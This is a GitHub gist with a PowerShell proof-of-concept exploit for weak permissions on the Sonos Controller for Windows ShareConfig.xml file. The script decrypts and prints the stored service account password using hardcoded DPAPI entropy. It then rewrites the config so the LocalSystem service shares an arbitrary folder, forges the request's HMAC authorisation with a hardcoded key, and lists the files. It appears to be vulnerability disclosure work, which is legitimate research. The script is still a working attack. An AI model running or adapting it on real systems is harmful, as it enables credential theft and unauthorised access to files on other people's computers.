Skip to content

Instantly share code, notes, and snippets.

@ykoster
Last active April 3, 2019 18:35
Show Gist options
  • Save ykoster/8b6fa529c85ebe33b7a491ee45ba3940 to your computer and use it in GitHub Desktop.
Save ykoster/8b6fa529c85ebe33b7a491ee45ba3940 to your computer and use it in GitHub Desktop.
Sonos Controller for Windows ShareConfig.xml weak file permissions
# load System.Security for HMAC-SHA256
Add-Type -AssemblyName System.Security
$ip = "127.0.0.1"
$port = 3445
$configPath = "$env:ProgramData\Sonos,_Inc\runtime\ShareConfig.xml"
$sharePath = "$env:windir\media"
# the entropy value is hardcoded in the service and used for encrypting and decrypting the password of the Sonos user (DPAPI)
$entropy = [System.Text.Encoding]::Unicode.GetBytes("e51bd1fb-2783-4261-95b8-027afc69e8af");
# the hash key is a hardcoded value used by the service to authenticated the GET/HEAD request
$hashKey = [Byte[]] (111, 228, 49, 131, 143, 228, 5, 2, 87, 208, 9, 17, 255, 208, 1, 0, 240, 228, 5, 160, 15, 229, 161, 3, 63, 209, 1, 4, 18, 210, 9, 0)
# see if we have a config file, if not create it and start the service
if(-Not (Test-Path $configPath -PathType Leaf))
{
Write-Host "[-] $configPath doesn't exist"
Exit
}
# read the configuration file and decrypt the password
Write-Host "[-] Trying to parse $configPath"
[xml]$shareConfig = Get-Content $configPath
$username = $shareConfig.shares.credentials.username
$password = $shareConfig.shares.credentials.password
$password = [System.Convert]::FromBase64String($password)
$password = [Security.Cryptography.ProtectedData]::Unprotect($password, $entropy, [Security.Cryptography.DataProtectionScope]::LocalMachine)
$password = [System.Text.Encoding]::Unicode.GetString($password)
Write-Host "[+] Username: $username"
Write-Host "[+] Password: $password"
foreach($share in $shareConfig.SelectNodes("//shares/*"))
{
if(!$share.Name.Equals("credentials"))
{
Write-Host "[+] Share" $share.Name "["$share.Path"]"
}
}
# the config file and parent directory has weak NTFS permissions
# we can overwrite this file and share any folder on the system (the service runs as LocalSystem)
Write-Host "[-] Backing up $configPath"
Rename-Item -Path $configPath -NewName $configPath".O"
$newUsername = "PoC"
$newPassword = [System.Text.Encoding]::Unicode.GetBytes("P@ssw0rd")
$newPassword = [Security.Cryptography.ProtectedData]::Protect($newPassword, $entropy, [Security.Cryptography.DataProtectionScope]::LocalMachine)
$newPassword = [System.Convert]::ToBase64String($newPassword)
Write-Host "[-] Creating new configuration file"
$newConfig = @"
<?xml version="1.0" encoding="utf-8"?>
<shares>
<share name="Share" path="$sharePath" />
<credentials>
<username>$newUsername</username>
<password>$newPassword</password>
</credentials>
</shares>
"@
Set-Content -Path $configPath -Value $newConfig -Encoding UTF8
try
{
$url = "/Share"
# calculate the Authetication header
$hmac = New-Object System.Security.Cryptography.HMACSHA256
$hmac.key = $hashKey
$auth = $hmac.ComputeHash([System.Text.Encoding]::UTF8.GetBytes("$url${newUsername}P@ssw0rd"))
$auth = [System.BitConverter]::ToString($auth).Replace('-', '')
# call the local webservice
$web = New-Object Net.WebClient
$web.Headers.Add("Authorization", "Hash $auth")
[xml]$dirListing = $web.DownloadString("http://${ip}:$port$url")
Write-Host "[-] Listing files from $sharePath"
foreach($entry in $dirListing.SelectNodes("//readdir/*"))
{
if($entry.Name.Equals("file"))
{
Write-Host "[+] $($entry.'#text')"
}
}
}
finally
{
# restore config
Write-Host "[-] Restoring $configPath"
Remove-Item -Path $configPath
Rename-Item -Path $configPath".O" -NewName $configPath
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment